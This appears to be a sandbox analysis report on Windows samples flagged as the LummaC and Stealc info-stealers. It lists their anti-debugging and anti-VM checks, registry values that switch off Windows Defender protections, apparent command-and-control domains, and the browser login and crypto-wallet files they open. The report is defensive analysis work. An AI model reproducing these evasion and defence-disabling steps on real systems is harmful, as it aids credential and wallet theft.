Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E364D4 second address: E364D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E364D9 second address: E365A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE580CED976h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FE580CED989h 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007FE580CED978h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov edi, ecx 0x00000030 mov dword ptr [ebp+122D26DEh], ecx 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D181Bh], edx 0x0000003e jmp 00007FE580CED97Bh 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push ecx 0x00000048 call 00007FE580CED978h 0x0000004d pop ecx 0x0000004e mov dword ptr [esp+04h], ecx 0x00000052 add dword ptr [esp+04h], 00000016h 0x0000005a inc ecx 0x0000005b push ecx 0x0000005c ret 0x0000005d pop ecx 0x0000005e ret 0x0000005f mov edi, dword ptr [ebp+122D2E35h] 0x00000065 jo 00007FE580CED982h 0x0000006b jne 00007FE580CED97Ch 0x00000071 call 00007FE580CED985h 0x00000076 jp 00007FE580CED978h 0x0000007c pop esi 0x0000007d xchg eax, ebx 0x0000007e push eax 0x0000007f push edx 0x00000080 js 00007FE580CED97Ch 0x00000086 js 00007FE580CED976h 0x0000008c rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E3A069 second address: E3A06D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E3C0C2 second address: E3C0D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED97Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E3E0A6 second address: E3E0AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E3E0AA second address: E3E0BC instructions: 0x00000000 rdtsc 0x00000002 je 00007FE580CED976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FE580CED976h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E3EFF3 second address: E3EFF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E3EFF7 second address: E3F023 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE580CED976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007FE580CED988h 0x00000010 pop edi 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E3F023 second address: E3F028 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E3C333 second address: E3C34E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED987h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E3FFE1 second address: E3FFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E3C34E second address: E3C369 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED981h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Special instruction interceptor: First address: BD7DD7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Special instruction interceptor: First address: BD7D0D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Special instruction interceptor: First address: D7B597 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Special instruction interceptor: First address: D79FA7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Special instruction interceptor: First address: DA2821 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Special instruction interceptor: First address: DFBB47 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Special instruction interceptor: First address: C8DE01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Special instruction interceptor: First address: C8DD52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Special instruction interceptor: First address: E28753 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Special instruction interceptor: First address: EC1888 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Special instruction interceptor: First address: 95E758 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Special instruction interceptor: First address: 7BFB09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Special instruction interceptor: First address: 9EA9EC instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Memory allocated: 4D20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Memory allocated: 5100000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Memory allocated: 4F90000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe TID: 948	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe TID: 6228	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe TID: 3608	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe, D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe, 00000003.00000002.2564828150.0000000000E06000.00000040.00000001.01000000.00000006.sdmp, 58AOE6AB3YG1SX0XN83.exe, 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2566458533.000000000093B000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: MFQbv2Yuzv.exe, MFQbv2Yuzv.exe, 00000000.00000003.2375433197.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2290814072.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2313159422.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216041203.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2290947914.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2313274376.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2329764327.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000001017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareby
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe, 00000003.00000002.2564828150.0000000000E06000.00000040.00000001.01000000.00000006.sdmp, 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2566458533.000000000093B000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: MFQbv2Yuzv.exe, 00000000.00000003.2240117911.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 58AOE6AB3YG1SX0XN83.exe PID: 1036, type: MEMORYSTR

LummaC encrypted strings found

Source: MFQbv2Yuzv.exe, 00000000.00000003.2165246720.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: MFQbv2Yuzv.exe, 00000000.00000003.2165246720.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: MFQbv2Yuzv.exe, 00000000.00000003.2165246720.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: MFQbv2Yuzv.exe, 00000000.00000003.2165246720.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: MFQbv2Yuzv.exe, 00000000.00000003.2165246720.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: MFQbv2Yuzv.exe, 00000000.00000003.2165246720.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: MFQbv2Yuzv.exe, 00000000.00000003.2165246720.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: MFQbv2Yuzv.exe, 00000000.00000003.2165246720.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: MFQbv2Yuzv.exe, 00000000.00000003.2165246720.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: 58AOE6AB3YG1SX0XN83.exe, 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2566855445.0000000000981000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe, D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe, 00000003.00000002.2564828150.0000000000E06000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: DProgram Manager

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: MFQbv2Yuzv.exe, 00000000.00000003.2375273373.000000000175C000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2313159422.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2313274376.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2329764327.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2330064339.000000000175C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: MFQbv2Yuzv.exe PID: 4368, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000005.00000002.2567997982.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2522024331.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2565885468.0000000000571000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 58AOE6AB3YG1SX0XN83.exe PID: 1036, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MFQbv2Yuzv.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: MFQbv2Yuzv.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: MFQbv2Yuzv.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: MFQbv2Yuzv.exe	String found in binary or memory: window-state.json
Source: MFQbv2Yuzv.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: MFQbv2Yuzv.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: MFQbv2Yuzv.exe	String found in binary or memory: %appdata%\Ethereum
Source: MFQbv2Yuzv.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: MFQbv2Yuzv.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
